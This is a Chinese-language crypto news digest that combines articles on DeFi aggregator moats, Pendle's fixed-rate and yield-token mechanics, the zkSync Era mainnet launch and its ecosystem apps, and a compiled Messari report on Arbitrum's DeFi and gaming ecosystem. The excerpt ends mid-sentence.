在一年前，我写了一篇关于聚合器的文章，当时我误将一个产品特性（使用区块链）当做了护城河。自那时以来，DeFi收益聚合器推出了大量产品，但大多数都失败了。如果竞争对手可以推出具有相同特点和更好用户体验的产品，或者像Gem的Blur一样引入代币，简单的整合区块链，可能意义不大。在这种环境下，思考什么能真正使产品与众不同是必要的。 当我写下这些话时，一些模式的痛苦变得显而易见。首先，在熊市中获取用户的成本将非常高，因为散户兴趣不高。除非产品具有特别的新奇性或便利性，否则它处于一个奇怪的位置。其次，为其他公司（B2B）构建产品的企业可能能够充分复合增长以求生存，然后在牛市中占据主导地位，就像FalconX（加密货币交易平台）一样。 第三，如果设计不好，代币是一种临时的护城河和长期的负债，很少有社区在足够长的时间内实现了对代币的有意义的增值。 当你考虑像游戏或DeFi等面向散户利基市场时，很明显，普通人并不关心使用哪个链或者事物有多么去中心化，他们关心的是他们可以从中获得的价值，区块链可以帮助增加最终用户可以获得的价值。但是，创始人经常陷入为VC（或代币交易者）建立并销售没有建立在成本、便利性和社区之上的护城河的陷阱中。  ( 4 min )
    DeFi 固定利率/利率互换赛道风云再起，一文解析 Pendle 底层逻辑
    币价/TVL 双双实现 500% 增涨，固定利率这一“证伪”赛道又跑出来 Pendle 这老树开花的项目。 固定利率？不，其实是利率的赌场！这个行业里永远是“赌”最吸引人。 本 Thread 使用实际算例等带你深入浅出的了解 Pendle 的机制，以及 LSD / GLP 等生息资产爱好者该如何使用它来更好的获利，并展望利率互换这一重要的衍生品赛道。 Pendle 是一个利率互换平台，简而言之就是 核心就是 SY 转换为 PT 则可以在一定期限内锁定利率，而 YT 则是加杠杆赌利率上涨的赌具。 我们以 GLP 为例，当前 也就是说这 375 天的 GLP 的收益全归 YT，而 PT 则可以在 375天后的 1:1 获取 GLP 假设你花 1 GLP 买入了 $0.9755/$0.8113 = 1.202 PT。 则 375天后你会有1.202 GLP 换算为年化收益 APY = 1.202 ^ (365/375)-1 = 19.6% 就是说不论 GLP 接下来一年多的实际获取了多少交易费分成，你可以拿到 19.6% APY 这就是 PT 所对应的固定利率功能 假设你花 1 GLP 买入了 $0.9755/$0.1642 = 5.941 YT 375天后你的收益是多少？这完全取决于 GLP 的实际收益表现！ 所谓隐含 APY (Implied APY) = 19.6%，就是说假设 GLP 接下来375天实际 APY = 19.6% 1YT 的收益为 1.196^(375/365) -1 = 0.202 GLP 所以 1 GLP 买入的 5.941 YT 最后就变成了 5.941*0.202= 1.200 GLP 换算为 APY 即为 1.2^ 365/375-1 = 19.6% （左侧实际得出19.4%，略有误差) 假设GLP 实际 APY 能够在接下来375天持续保持当前 53.1% 的水平 那么现在花 1 GLP买入YT，375天后将会得到 5.941* (1.531^(375/365) -1) = 3.261 GLP 换算成 APY 即为 3.261^ 365/375-1 = 207% 是的，这样的话买 YT 就赚大发了 那如果 GLP 实际APY 只有 10% 呢 5.941*(1.1^(375/365) -1) = 0.611 GLP 是的，你买YT就要倒亏 0.4 GLP 进去 总结下来就是： 那么 YT/PT 的是如何定价和交易的呢？ Pendle 内置一个 PT/SY 的AMM，允许外部参与者提供流动性，用户交易 PT 通过这个 AMM 交易即可。而交易 YT 则更为复杂： 用户卖出 YT 过程就反过来了，参见下方图片即可 那么 Pendle 的 AMM 是如何定价的呢? 其 AMM 是从 Notional 借鉴过来，公式复杂，妙蛙种子帮你提炼一下核心概念在于： 之所以这样设计，估计是因为 通过这些设计，Pendle 实现了一个体验尚可的市场化利率交易，服务了固定利率和赌预期两波客户。 过往固定利率赛道失败的产品，多数没有兼顾住 确定性+赌性，Pendle 这块做好了，加上 LSD/ Perp DEX 带来了大量的生息资产，Pendle 便再次抓住机会进入上升区间。 谈完机制，可见 Pendle 的产品还是有可取之处的，不过其代币的价值捕获能力目前尚且较低 其核心捕获模式为 过去7日内交易量约为 1M， 年化交易费收入即为 ： 1M520.001*0.8 = 40k 当前 34M TVL，主要资产既包括 LSD 等低息资产，也包括 GLP 等高息资产，毛估估平均利率 10% 年化利息收入即为 34M0.10.03 = 100k 合计收入为 140k，相对来说是比较少的，即时翻10倍也不能算多。所以未来还需要关注其 bribe 能否发展起来，毕竟 LSD 也算是个 bribe 大户，若能发展也会有不错的收益。 利率互换市场在传统金融内地位重要，对于机构而言更是尤其看重，不过这些美好的想象在上一轮 DeFi 大发展中并没有得到实际数据和表现支撑，固定利率赛道更是一个知名“证伪”赛道。 在 Real Yield 兴起的当下，生息资产变得更有持续性了，若是体验和机制再优化优化，说不定也能老树开花，pendle 就是个例子 总结：对于 GLP/LSD 等生息资产爱好者，可以实现锁定固定利率和赌利率预期这两个目标。其代币价值捕获能力目前尚且不是很突出，投资的话多多 dyor。如果想了解 GLP / LSD 等生息资产，以及讨论的话，可参见该推文  ( 6 min )
    zkSync Era启动主网，详解独特架构和生态应用
    3月16日，Arbitrum官方宣布将向社区分发空投激励，引起市场广泛关注，也让很多人坐上了财富列车。眼看Arbitrum空投已成事实，市场将眼球转向暂未发币的以太坊L2扩容解决方案zkSync和StarkNet。根据0xScope信息，在Arbitrum宣布将进行空投之后，zkSync与StarkNet上日活地址数均增长了约10倍。此外，3月24日凌晨，zkSync官方及其生态应用均发布一条包含具体时间的推文，引发社区浮想联翩。 3月24日晚，zkSync官方揭晓谜底，宣布zkSync Era Alpha主网启动，向所有用户开放使用。据Dune Analytics数据显示，zkSync当周交易量约为2,025,135笔，7日平均交易量创历史新高，目前总交易量已突破2000万笔。FOMO情绪可见一斑。本文PANews将为你详解zkSync Era主网现状，及其生态已经上线的应用。 zkSync的母公司为Matter Labs，于2021年3月和11月完成300万美元A轮和5000万美元B轮融资，B轮融资由a16z领投。2022年11月完成2亿美元C轮融资，由Blockchain Capital和Dragonfly领投。其总融资额达到4.58亿美元（包含2亿美元的生态基金），估值暂未披露。Matter Labs首席产品官Steve Newcomb曾表示1/3的代币将分配给Matter Labs的员工和投资者，剩余的代币将进入zkSync生态， 此外，Matter Labs首席执行官Alex Gluchowski在2023年3月24日接受采访时表示，ZkSync Era的推出不意味着发行代币。因为该网络目前仍然主要是中心化的。在处于alpha阶段时Matter Labs公司仍然控制着排序器和验证器。待以后排序器需要去中心化，将会上线代币。预估时间为一年左右。 根据zkSync博客信息，zkSync Era网络在主网启动前，通过一年测试，并进行了多个安全审计、公开竞赛和赏金，共花费380万美元，同时添加了独立的监控和风险缓解机制。并且该安全机制会一如既往的继续进行，直到Alpha阶段结束。zkSync Era与zkSync Lite网络相比，更新了4个架构： 其一为zkSync Era网络直接使用本地抽象账户，使得Era上的任何账户可以用任何代币支付费用，甚至可以在愿意补贴使用的协议上以零费用进行交易。 其二为为EVM语言（Solidity、Vyper、Yul）构建了第一个基于LLVM的编译器。LLVM是世界上最成熟的编译器堆栈，将为生态系统带来巨大的性能和开发人员体验改进。 其三为通过发布状态差异而不是交易输入为系统带来数据压缩、更频繁的 oracle 更新、便宜的隐私、无缝的链下存储扩展等优势。 其四为超级可扩展性的超级链。超级链是zkEVM类似分形的实例，它并行运行在L1主网上，有共同的结算。任何人都可以使用自定义共识、验证器集或数据可用性部署自己的超级链——但它们都将从底层L1继承安全性和最终性。超级链将按照模块化方法实施——类似于Cosmos或Substrate的Hyperchain SDK框架，开发人员可以在其中单独选择其区块链的不同组件或实施他们自己的组件。 此外，为了防止协议出现严重错误时被黑客利用，zkSync Era网络引入了区块执行延迟。每个提交给L1的L2区块在执行和最终确定之前都会有一个时间锁。使得zkSync团队能够监控每个区块并能够调查处理任何异常情况（例如快速流出、异常大额提款等）。时间锁初始配置为24小时，随着系统逐渐运行，后续可以通过多签验证更改。 根据zkSync官网信息，目前有超240款生态应用基于或者即将部署到zkSync链上。其应用包含DeFi、Gamefi、基础设施、社交、公共物品等多个类型。此处PANews将介绍已经部署在zkSync Era网络的应用。 Argent Argent是一款智能合约钱包，是zkSync最早期的基础设施之一，暂未发行代币。支持更低的gas费用，更快的交易速度，并且提供交易、质押和收益耕作服务。截至目前，Argent已完成2轮融资，累计融资5200万美金。其中A轮融资1200万美金，Paradigm参与投资；B轮融资4000万美金，Fabric Ventures和Metaplanet领投。 官网：https://www.argent.xyz/ Mute Mute是一款zkRollup的去中心化交易所，用户可在其上面进行交易、质押挖矿和获得债券，已经发行平台代币。根据官方介绍，该项目团队此前曾打造了第一个基于BTC和UTXO链之间的零知识原子交换协议，以及Zerocoin和Sigma寻址方案和交易的创新工作。该平台当前总锁仓价值为139万美元。 官网：https://app.mute.io/swap Trustless Protocol Trustless是一个DeFi协议，该协议的特点包括：抗审查、社区拥有、治理最小化。目前处于测试网阶段，暂未发行代币。经观察，该项目官方推特账号近两个月未更新信息。经PANews实测，近期官方测试网无法打开，需等待官方进一步信息。 官网：https://www.trustless.fi/ mintsquare mintsquare是一个NFT交易平台，现在支持zkSync Era测试网和Alpha主网，暂未发行代币。目前mintsquare平台在zkSync Era主网暂未产生交易。主网上目前仅有两款藏品，分别为zkAPE和ZK域名。zkAPE为模仿以太坊主网BAYC，非白名单用户铸造费用极高。ZK域名基于Layerzero构建。 官网：https://mintsquare.io/zksync Tevaera Tevaera是一个去中心化和游戏化的元宇宙，玩家可以在上面建立和管理数字化和货币化岛屿，可以玩有趣的街机游戏。Tevaera生态系统具有两个核心产品：Teva Games、链上游戏基础设施——Teva Core、Teva Chain、Teva Dex和 Teva Market。Teva Core是一个多人游戏框架，对于游戏工作室来说是智能和模块化的。Teva Chain是基于zkSync构建的L3游戏超级链，Teva DEX推动玩赚经济，Teva Market完成NFT交易和质押。 Tevaera当前仍处于测试网，玩家可通过玩游戏获得其参与奖励——Karma积分。Karma积分可以用于购买游戏内资产，后续也可以以一定比例赎回TEVA代币和排行榜奖励。Karma现在是不可交易的ERC 20代币。 官网：https://tevaera.com/ SpaceFi SpaceFi是基于Evmos和zkSync的跨链Web3平台，连接Cosmos和Layer2，已经发行代币。产品包括去中心化交易所、NFT、Starter和Spacebase。目前基于zkSync Era网络上线的产品为交易和提供流动性部分。 官网：https://app.spacefi.io/#/home Rhino Rhino是一款多链DeFi聚合器，其前身为DeversiFi，截止目前总交易额为15亿美元。Rhino已经发行代币，由Delphi、blockchain、Starkware等机构投资。用户在该平台可以交易、质押、跨链等，目前该平台开启了为期48小时的免费跨链进入zkSync Era网络的服务。 官网：https://rhino.fi/ 跨链桥 目前已有多款跨链桥支持zkSync Era网络，主要有Celer、Orbiter、multichain等。其中Orbiter尚未发行代币，且是最早支持zkSync Lite网络。此外，官方跨链桥也已经上线。 官网：https://bridge.zksync.io/ 根据Matter Labs首席执行官的采访信息，zkSync网络的代币短期不会上线，将在完成去中心化后上线代币。因此，对于近期博弈空投的用户而言，此时FOMO情绪导致其网络Gas偏高，产品体验下降，不必急于一时。 站在Matter Labs官方角度去看，zkSync网络当前并未有多个且爆款的原生应用产生，主网也并未经受广泛用户测试，短期内发币不符合时机，也不符合利益。从披露的生态应用去看，当前多为以太坊主网或其他网络的应用迁移，极少原生应用。用户交互时或可着重尚未发行代币的应用，或可一举两得。 最后，PANews提醒用户，zkSync Era目前属于Alpha阶段，其风险性依旧未知，因此在使用交互时请控制资金体量。同时，生态项目处于早期，鱼龙混杂，使用产品时需认准官网，以防资产受损。  ( 4 min )
    Messari万字解析Arbitrum：以太坊后花园，蓬勃发展的生态系统
    原文作者：Messari- Chase Devens 编译：BlockTurbo 近几个月来，Arbitrum凭借其创新技术和强大的社区驱动生态系统而成为顶级的以太坊扩容解决方案。现在，备受期待的 $ARB 代币空投为该网络带来了一个在其早期成功的基础上进一步发展的机会。本报告提供了你所需要知道的有关 Arbitrum的一切，包括其生态系统分析及其在以太坊扩容解决方案竞争中的定位。 Arbitrum 是第 2 层 (L2) 以太坊扩展解决方案，具有两个通用的optimistic rolluups。 Arbitrum One 是旗舰rollup，推动了生态系统的大部分采用，而 Arbitrum Nova 是为高吞吐量应用程序构建的较新rollup。 Arbitrum One 于 2021 年 8 月下旬推出，在每日活跃地址、每日交易和累计合约部署方面已成为领先的以太坊rollup。此外，其 Bridge 合约持有约 100 万个ETH，使其成为以太坊合约的第七大 ETH 持有者。 Arbitrum One 于 2022 年 8 月下旬采用了 Arbitrum 的 Nitro 技术堆栈。Nitro 没有依赖定制的 Arbitrum 虚拟机进行低级代码组装，而是使用 WebAssembly (Wasm)。这一变化允许 rollup 直接使用 Go Ethereum 的 EVM 实现，并对应于更低的费用、更好的以太坊兼容性和更大的简单性。 在推出时，Arbitrum One 在最近成为当今领先的以太坊扩展解决方案之前经历了一段缓慢增长的时期。它的最好增长体现在其在智能合约平台（不包括以太坊）中的总价值锁定（TVL）的相对份额中。 Arbitrum 的 TVL 在过去 180 天内增加了 131%，导致其 TVL 市场份额在竞争的非以太坊智能合约生态系统中从 3.6% 跃升至 8.4%。这一增长是下一个增长最快的竞争对手Optimism的四倍多，后者在非以太坊 TVL 市场份额增长了 1.1%。 从历史上看，相互竞争的智能合约网络（包括 L1 和 L2）都使用其原生代币来资助有针对性的激励活动并直接刺激用户活动。 Arbitrum 采取了一种略有不同的方法。 Offchain Labs（Arbitrum 的母公司）并没有在一开始就明确推出代币，而是保守秘密，并发起了暗示未来追溯空投的用户获取活动。上周 Offchain Labs 宣布了 Arbitrum 代币发布的细节，这一点得到了证实。 综合考虑，Arbitrum 的增长战略已被证明比其同行更具成本效益。尽管 Optimism、Polygon和Avalanche等竞争生态系统分发了价值数百万美元的激励措施来吸引新用户，但 Arbitrum 避免了这些成本。相反，它吸引了早期采用者，只是模糊地暗示了网络所有权的潜在份额。在 $ARB 代币推出后，这些早期采用者是否会继续坚持下去，将是未来需要监控的最重要趋势之一。 随着 Arbitrum 最大的谜团终于揭开，Arbitrum 现在进入了其生命周期的下一阶段。在代币发布之后，注意力正在转移到 Arbitrum 蓬勃发展的应用程序生态系统及其与竞争性以太坊扩展解决方案竞争的计划。 Arbitrum 的应用程序生态系统可以分为两大类：DeFi和消费者应用程序。在这些生态系统中构建的项目已经采用 Arbitrum 来获得粘性用户群和从以太坊继承的强大安全保证。 DeFi 生态系统已经存在大量竞争，并以其DEX、借贷和永续合约为基础。这些领域在去年经历了显著增长，并为构建第二层 DeFi 应用程序提供了基础。 2023 年的前几个月，Arbitrum 上的 DEX 活动超过了 Polygon，使 Arbitrum 成为以太坊之外交易量最大的 DEX 领域。越来越多的协议看起来和感觉上与熟悉的以太坊 L1 上的 DEX 活动相似。在 Arbitrum One 主网上线的第一年，Uniswap、SushiSwap、Curve和Balancer 占据了几乎所有 Arbitrum DEX 活动，平均交易量和用户份额保持在 90% 以上。但随着 Arbitrum 的 DeFi 生态系统在 2022 年底趋于成熟，新协议开始蚕食这些现有企业的市场份额。在过去的几个月里，这四个协议的总交易量份额下降到 80%，每日用户份额下降到 70%。 与其他 EVM 智能合约网络类似，分叉Uniswap 的项目如 Sharkyswap 和 Arbswap 获得了普及。当 3xcalibur、SolidLizard 和 Sterling Finance 等 Solidly 分叉将 ve(3,3) 机制引入 Arbitrum 时，竞争也愈演愈烈。然而，可以说，Uniswap 和公司最突出的新兴挑战者是 Camelot，在过去 30 天内，它占挑战者 DEX 交易量的 10.6%。 与其他 DEX 一样，部署在 Camelot 上的每个池都可以配置自定义费用参数。 Camelot 使池中的每项资产都具有动态的、定向的买卖费用，从而使可定制性更进一步。例如，USDC-WETH 池可以对从池中购买 WETH 的交易收取 0.04% 的费用，但对向池中出售 WETH 的交易仅收取 0.02% 的费用。这种定向功能允许池部署者微调给定对的激励结构。此外，这些费用杠杆是动态的。这允许费用结构根据市场条件等因素发生变化。 Camelot 的第二个定义特征是它的启动板。该服务为新项目提供了从社区成员筹集资金和引导流动性所需的基础设施。在 Perpy、Factor 和 Arbitrove 等项目成功融资后，Arbitrum DeFi 社区采用了 Camelot 作为rollup的原生“社区”DEX 的说法。 Camelot 的战略是创建一个安全且可扩展的平台，该平台将支持广泛的加密资产并为用户提供快速高效的流动性访问。通过这样做，Camelot 将自己定位为在 Arbitrum 上进行加密资产长尾交易的首选目的地。 尽管较新的协议给 Arbitrum 的 DEX 部门的现有企业带来了压力，但矿池级别的数据仍然凸显了 Uniswap 的主导地位。在按交易量排名前 10 位的 Arbitrum DEX 矿池中，有六个属于 Uniswap。即使不对其池提供激励，Uniswap 的池也能为流动性提供者提供显着更高的收益，这要归功于该协议的市场领先交易量。 Uniswap 在交易量上的优势源于其品牌知名度和深度集中的流动性架构。 随着 Arbitrum 的 DEX 不断成熟，我们可以期待稳定币在交易活动中发挥更大的作用。重新审视上述关于 Arbitrum 顶级 DEX 的数据，只有一个稳定币配对登记在按交易量排名前 10 的矿池中。这与以太坊相比相形见绌，以太坊前 10 个 DEX 池中有四个是稳定币对。 我们已经可以看到潮流开始转变。自以太坊的稳定币市值在 2022 年 2 月达到顶峰以来，Arbitrum 见证了稳定币缓慢增长的一年，然后在 2023 年初急剧增长。 随着越来越多的稳定币进入 Arbitrum，Uniswap、Curve 和 Camelot 等提供集中流动性池的 DEX 将因其提供极低滑点交易的能力而获得成功。随着这些高交易量、低滑点的币对池在 Arbitrum 上获得更多关注，Uniswap 可能还会推出其 0.01% 的费用等级，以赢得这个不断增长的细分市场的交易量。 竞争可能正在升温，但具有挑战性的 DEX 要想继续获得市场份额，就需要找到更有创意的方法来与市场领导者竞争。新颖性和激励措施可以创造短期的胜利，但以太坊的历史告诉我们，定价权是 DEX 长期成功的主要因素。 Radiant Arbitrum 借贷领域的故事大部分可以通过单一协议来讲述。 Radiant 建立在 LayerZero 之上，旨在作为“omnichain”借贷协议运行。这意味着它使用跨多个链的统一债务池，以便用户可以在一条链上存入抵押品并在另一条链上开立借款头寸。然而，自 2022 年 7 月下旬在 Arbitrum 上推出以来，Radiant 尚未部署到其他链上。 Radiant 目前占 Arbitrum 贷款 TVL 的 56%，紧随其后的竞争对手Aave V3 占该行业 TVL 的 27%。对该协议进行更深入的研究表明，由于大量的 RDNT 激励措施，这种增长绝非有机的。 Radiant 不仅鼓励用户在平台上借款，它还提供一键式“循环和锁定”功能，允许用户将借入的资产重新存入作为抵押品，然后再次从协议中借款。这个循环动作最多可以循环五次。用户选择锁定抵押品的时间越长，他们在锁定期间获得的 RDNT 奖励就越多。在考虑 RDNT 奖励后，尽管基本借贷成本的 APR 为两位数，但用户从该协议借贷时获得了优惠。 这已被证明是 Radiant 非常成功的增长战略。在中性市场中，锁定和循环策略由于其低波动性对于用户存入和借入稳定币是相对安全的。在升值的市场中，ETH 和 WBTC 也成为有吸引力的存款策略——随着这些抵押资产价格的上涨，存款人可以借到更大的价值并有资格获得更多的 RDNT 奖励。此外，风险偏好牛市与 RDNT 的更高美元价值相关。自 2023 年初以来，RDNT 的价格上涨了 1,075%，使这种激励机制更具吸引力。 在评估整个行业协议的未偿借款与 TVL 比率时，最好理解这里的动态。在过去 30 天里，Radiant 的比率为 2.5，几乎是行业平均水平 0.51 的五倍。重要的是要注意，循环借用不会在任何这些协议的 TVL 指标中重复计算，这使得 Radiant 的比率有可能大于 1。如果我们假设 Radiant 在没有奖励的情况下与行业平均水平一致，这意味着 Radiant 大约 80% 的借贷是由大量激励措施驱动的。 Radiant 备受期待的 V2 升级在上周末上线。 V2 将 RDNT 排放的跑道从两年延长到五年，同时还修改了从协议中获得 RDNT 所需的行为。具体来说，V2 引入的一个重要变化是一种机制，在向 RDNT/ETH LP 池提供流动性之前，将循环的 ETH 借入并将一部分转换为 RDNT。这有效地对 RDNT 代币造成了新的购买压力，同时锁定的用户获得了 RDNT 奖励。值得监控的是，这种机制是否会抵消更高的障碍，从而在 V2 中获得更小的 RDNT 奖励池。总而言之，Radiant 存款基础的可持续性可能会在未来几个月内受到考验。 其他借贷竞争对手 如果我们从等式中删除 Radiant，自 2022 年 6 月 1 日以来，Aave V3 在 Arbitrum 上的 TVL 份额从 30% 增加到 60%。与 Radiant 不同，这种增长是自然发生的，没有使用 AAVE 代币来激励活动。展望未来，Aave V3 将成为 Radiant 的有力竞争者，专注于通过其门户网站功能进行跨链借贷的全链借贷。 Connext、deBridge、Hashflow 和 Wormhole 已被列入白名单，作为批准的桥接提供商以支持门户功能。 在 Arbitrum 的货币市场协议之外，Vesta Finance 是 Rollup 领先的抵押债务头寸 (CDP) 协议。 Vesta 是 Liquity 协议的一个分支，允许其用户针对一篮子抵押资产铸造 VST 稳定币。虽然 GMX 和 GLP 等流行资产支持抵押品类型，但 Vesta 的 1700 万美元 TVL 中的 65% 目前由 gOHM 组成，gOHM 是 Olympus 协议的治理代币。正如MakerDAO在以太坊借贷市场的成功所证明的那样，Vesta 在 Arbitrum 中有扩大其影响力的空间。 Vesta 的未来增长将取决于其将 TVL 基础多样化到 gOHM 之外的能力，并通过外部集成推动对 VST 稳定币的需求。 将衍生品引入 DeFi 的早期尝试主要集中在重新创建中心化交易所普及的订单簿模型。然而，由于高昂的 gas 成本、延迟问题和普遍的高复杂性，DeFi 项目尚未成功实现具有完全链上订单簿的永续衍生品平台。这为项目创造了一个机会，可以尝试使用替代模型来交易合成永续合约。 近年来，结合了自动化做市商和基于订单簿的交易所的混合模型在 DeFi 用户中越来越受欢迎。这些混合永久平台在 Arbitrum 上的增长可以说是促进网络早期采用的最重要的因素。永续合约拥有 5.65 亿美元的 TVL，是 Arbitrum DeFi 生态系统中最大的部分。在这一领域中，有一个协议占所有 TVL 的 80% 以上：GMX。 GMX 作为 2021 年 8 月在 Arbitrum One 上线的首批应用之一，GMX 已经确立了 Arbitrum DeFi 的王者地位。这一成功的关键是 GMX 的双代币模型：协议收入的 30% 分配给 GMX（协议的治理代币）的利益相关者，70% 分配给 GLP（平台的汇集流动性代币）的利益相关者。这些机制导致了围绕协议构建的整个项目生态系统，为其系统带来更大的流动性并提供切线服务。 收益和期权金库 用户可以利用 GMX 产生的平台费用，而无需通过存入由外部协议构建的收益或期权金库来承担 GLP 中包含的资产指数的风险。 GMD、Neutra Finance 和 Umami 是利用 GMX 的流动性运行 delta 中性策略并将累积收益传递给 USDC、WBTC 或 ETH 存款人的产品。 Jones DAO 通过借入 USDC 并将其存入 GLP，将这一策略更进一步，从而创造了对 GLP 收益率的杠杆敞口。 借贷平台 GMX 的流行导致多个借贷协议将 GMX 和 GLP 集成为寻求利用这些资产的用户的抵押品。 Vesta 用户可以根据 GLP 铸造 VST 稳定币，而 Tender Finance 允许用户从协议的货币市场借入任何一种资产。 社交交易 随着越来越多的交易者迁移到去中心化交易平台，利用交易的社交元素的设计空间不断扩大。 STFX 和 Perpy Finance 是两个构建平台的项目，旨在将成功的交易者与跟单交易者联系起来。交易者创建公共金库以换取跟单交易者支付的费用。在后端，金库存款和交易通过 GMX 进行路由。 总而言之，建立在 GMX 之上的项目数量有助于通过增加流动性和数量来加强平台的竞争地位。然而，随着平台层对流动性的竞争加剧，这些应用程序很可能也会与 GMX 的竞争对手整合。如果这些应用程序也成为永久平台的主要用户，那么竞争动态将取决于哪些应用程序可以产生最高和最稳定的收益。 相关数据 GMX 可能是第一个在 Arbitrum 上上市的永续合约平台，但最近几个月新进入者已经开始抢占市场份额。这些竞争对手都使用与 GMX 类似的混合 AMM 订单簿模型，但为交易者提供了更广泛的市场。 GMX 在这方面仅对四个市场保持保守：BTC/USD、ETH/USD、UNI/USD 和 LINK/USD。崭露头角的竞争对手已迅速提供其他的市场，例如外汇、股票、商品和更广泛的加密货币篮子。 从越来越多的竞争平台中脱颖而出的两个协议是 Vela Exchange 和 Gains Network。这些协议加起来占永续合约 30 天平均交易量的 46% 和 TVL 的 11%。虽然这些竞争对手正在蚕食 GMX 在交易量中的份额 (51%)，但 GMX 在 TVL 方面仍然保持着强大的优势，占据该行业 83% 的份额。这种动态意味着 Vela 和 Gains 中的流动性提供者每单位流动性暴露于协议交易量的更大份额。尽管如此，他们的盈利能力最终取决于以协议费用的形式获取的交易量中有多少。 在估值方面，GMX 提供了一个行业基准来比较新的竞争对手。以 30 天平均流通市值与费用的比率计算，只有 Vela 的倍数低于 GMX。这表明市场低估了 Vela 相对于其竞争对手产生费用的能力。然而，应该注意的是，GMX 和 Gains 都部署在额外的网络上，这意味着在考虑 Arbitrum 以外产生的费用时，它们的总比率较低。 值得注意的是，Arbitrum 的永续平台似乎也迎合了不同的交易受众。根据每个每日活跃用户的平均交易量，Gains 似乎为较大的交易者提供服务，而 Cap 和 Rage Trade 则支持较小的交易者。同样，随着建立在这些永久平台之上的结构化产品数量的增加，从而在用户和平台之间创建了一个抽象层，平台将需要了解他们的用户群，因为用户和平台之间的直接联系越来越少. 期权 期权协议为 DeFi 用户提供了另一种途径，以获得杠杆作用或对冲定向市场波动带来的风险。然而，尽管期权作为最受欢迎的衍生产品之一在传统金融中根深蒂固，但它们尚未在链上起飞。这主要是由于以太坊 L1 的高交易成本以及从期权策略中持续获利所需的知识障碍。 作为首批部署在 Arbitrum 上的协议之一，Dopex 最初通过提供一键式期权库成为 2022 年初最受欢迎的 Arbitrum 协议之一。它受益于强大的社区和使期权市场对用户尽可能简单的承诺。尽管有这种吸引力，但 Dopex 未能保留其早期用户群，并拖累了整个期权行业的用户保留分数。 即使与其他行业相比保留率有所下降，Arbitrum 上的期权协议也是所有链中最大的。在期权协议中锁定的 1.5 亿美元资金中，近一半存入了 Arbitrum。此外，在 DeFi 中排名前五的期权协议中，有四个在 Arbitrum 上有最大的部署。 Lyra 最近在网络上的增长进一步凸显了人们对 Arbitrum 作为期权协议新兴中心的偏好。 Lyra 在 1 月份对 Newport 进行升级，使其能够使用永续合约作为抵押品和 delta 对冲工具。升级后不久，Lyra 部署在 Arbitrum 上以获取 GMX 的流动性。这导致 TVL 和数量的快速增长，在几周内超过了 Lyra 的 Optimism 。 因此，虽然期权不是加密用户的首选杠杆工具，但如果该行业确实增长以满足其与传统金融的相关性，鉴于生态系统当前的期权协议市场份额，Arbitrum 很可能会看到大部分增长。 其他结构性产品 Pendle 是一种利率衍生品协议，将产生收益的代币分离为本金和收益部分；本金代币相当于零息债券，而收益代币相当于息票支付。一旦拆分，这些代币就可以在 Pendle 的原生 V2 AMM 上进行交易，以便用户可以对冲可变利率风险。自推出 V2 以来，Pendle 的 TVL 从 600 万美元增长了 560% 至 4100 万美元，而其市值从 380 万美元增长了 1,000% 至 3800 万美元。 像 Pendle 这样的利率协议有一个巨大的潜在市场——传统的利率衍生品市场的名义价值超过 400 万亿美元。然而，与期权协议类似，鉴于当今 DeFi 世界的用户群，这些项目被广泛采用可能还需要一段时间。 Plutus DAO 旨在成为具有 veToken 结构的 Arbitrum 项目的实际治理层。 PLS 代币充当单一代币，控制协议的投票锁定资产篮子并从基础代币中获得收益。通过持有 PLS 代币，用户可以对越来越多的协议产生影响，包括 Dopex、Radiant、Sperax和 Jones DAO。虽然最初只专注于治理代币，但 Plutus 最近通过为 GMX 的 GLP 代币构建保险库而扩展到一般收益聚合领域。这种扩展使 Plutus 看起来像是 Convex 和 Yearn 的混合体，并且应该扩展协议的策略以尽可能多地合并 Arbitrum 中流行的收益来源。 Y2K Finance 是一个双向平台，供用户买卖锚定资产保险。该协议可能只有几个月的历史，但最近导致 USDC 挂钩的银行业危机证明了它的价值。 FRAX、USDC 和 Dai 的 depegs 分别为那些在 Y2K 平台上购买了锚定保险的人带来了 4,820%、4,350% 和 4,230% 的回报。虽然这样的回报可能会吸引更多的用户继续前进，但很难想象 Y2K 会扩展到超越利基产品，因为它的商业模式是基于黑天鹅事件的。 除了 DeFi，Arbitrum 还拥有许多基于消费者的应用程序。这些应用程序中的大多数尚未达到与 Arbitrum 的 DeFi 应用程序相同的采用水平，但已准备好面对下一波新用户增长。 资格认证 - Odyssey Arbitrum Odyssey 是由 Offchain Labs 于 2022 年 6 月发起的为期两个月的新用户获取活动。该组织选择了 Arbitrum 最活跃的 56 个项目，并随机创建了 14 组，每组四个项目。这 14 个小组随后在 Twitter 上进行投票，前四名小组成为奥德赛的赞助成员。每周，用户都被设置为完成两个协议的任务，以获得 Galxe 发行的NFT凭证。 在为期一周的期间内，用户收到了用于桥接到 Arbitrum 的 NFT。然而，网络拥堵最终迫使 Offchain Labs 在用户开始铸造 NFT 以桥接网络时推迟 Odyssey 活动。 Offchain Labs 宣布，在 Arbitrum 升级到 Nitro 技术堆栈后，Odyssey 将重启。但是，该活动仍未重新开始。有人猜测，在 Arbitrum 完成代币发行后，Odyssey 可能会重新开始。这将使 DAO 的财政部能够利用其新发现的财富进一步激励该活动。 尽管奥德赛被取消，但该活动仍然可以说是成功的。已经铸造了 437,000 个桥接 NFT，但很难区分这些钱包中有多少是新用户和重复用户尝试玩 Arbitrum 以获取期待已久的空投。尽管如此，新的 Arbitrum 用户活动与 Odyssey 之间仍存在相关性。 最后，Odyssey 让 Galxe 成为 Arbitrum NFT 认证的首要合作伙伴。随着社交协议在未来进入 Arbitrum 生态系统，Galxe 将成为服务这些客户的领先候选者，成为认证即服务提供商。 Arbitrum 的游戏行业主要由 Treasure 协议引导。 Treasure 是一个面向游戏开发者的生态系统，其目标是成为“Web3 的任天堂”。在 Treasure 上发布的游戏可以相互操作，并且可以立即利用 Treasure 的原生 DEX、MagicSwap 及其原生 NFT 市场 Trove 提供的网络效应。 MAGIC 是生态系统的原生治理代币，也是 NFT 升级和在 Trove 上购买的货币。 在撰写本文时，Treasure 支持 13 种不同的游戏。在这些游戏、MagicSwap 和 Trove 市场中，Treasure 生态系统平均每周有 5,900 名用户，并且自 2022 年 2 月进入初始增长阶段以来从未低于每周 2,500 名用户。虽然这个用户群只是 Web2 游戏的一小部分，该活动比一些最流行的 Arbitrum DeFi 协议更加一致。 Treasure 的早期成功可以归因于游戏在加入生态系统时获得的网络效应以及缺乏来自其他游戏平台的竞争。在网络效应方面，无论该代币是在哪个游戏中获得的，MAGIC 代币都可用于升级 NFT 游戏资产。这意味着新项目可以提供 MAGIC 